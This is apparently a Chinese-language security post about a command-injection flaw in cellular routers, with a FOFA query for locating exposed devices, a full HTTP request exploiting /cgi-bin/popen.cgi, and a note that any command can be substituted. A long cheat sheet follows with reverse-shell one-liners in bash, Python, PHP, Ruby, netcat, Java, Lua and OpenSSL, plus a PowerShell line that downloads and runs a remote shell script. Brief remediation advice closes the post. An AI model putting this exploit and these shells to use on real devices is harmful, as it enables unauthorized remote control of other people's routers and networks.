免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!
移动路由器(Cellular Router)是一种网络设备,通常用于提供移动网络连接的路由和数据传输功能。它们通常使用蜂窝(Cellular)网络技术,如4G LTE或5G,来连接到互联网。移动路由器与传统的有线路由器不同,因为它们不依赖于固定的互联网连接,而是使用无线信号来访问网络。
目前移动路由器Cellular Router全版本
FOFA语法:title=“index” && header=“lighttpd/1.4.30”
POC (GET)
GET /cgi-bin/popen.cgi?command=ping%20-c%204%20127.0.0.1;id&v=0.1303033443137912 HTTP/1.1
Host: ip:port
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
返回包出现如下数据代表漏洞存在
发现命令成功执行。可以将执行命令替换成自己要执行的命令即可
常用反弹shell命令
bash
bash -i >& /dev/tcp/172.16.1.130/4444 0>&1
exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5|while read line;do $line >&5 2>&1;done
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
powershell
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444
加密shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.100:2333 > /tmp/s; rm /tmp/s
1. 输入验证和过滤
对用户输入进行验证和过滤,确保只允许合法的输入字符和格式。
不信任的输入数据应该经过适当的输入验证和过滤,例如,对于文件上传功能,应验证文件类型和大小。
对于命令执行漏洞,不要直接将用户输入作为命令参数,而是使用参数化查询或类似的技术来将输入与命令参数分开。
2. 最小权限原则:
将应用程序运行的进程和服务限制到最小权限,以减小攻击者可能获得的权限。
避免使用超级用户或管理员权限来执行不必要的操作。
3.安全配置:
确保服务器和应用程序的安全配置,包括对于不必要的服务和端口的关闭,以及安全的默认配置。
移除或限制不必要的系统命令和工具的访问权限。
4.代码审查和漏洞扫描:
定期进行代码审查,查找和修复潜在的漏洞,包括命令执行漏洞。
使用漏洞扫描工具来自动发现和修复漏洞。
5.安全开发实践:
遵循安全开发最佳实践,包括避免硬编码敏感信息,不要将密码明文存储在配置文件中,使用加密算法来存储敏感数据等。
使用安全的编程语言和框架,并及时应用安全更新和补丁。
6.限制外部输入:
对于与外部系统的交互,例如通过API或文件上传,确保验证和授权用户访问。
在可能的情况下,使用白名单来限制允许的操作和输入。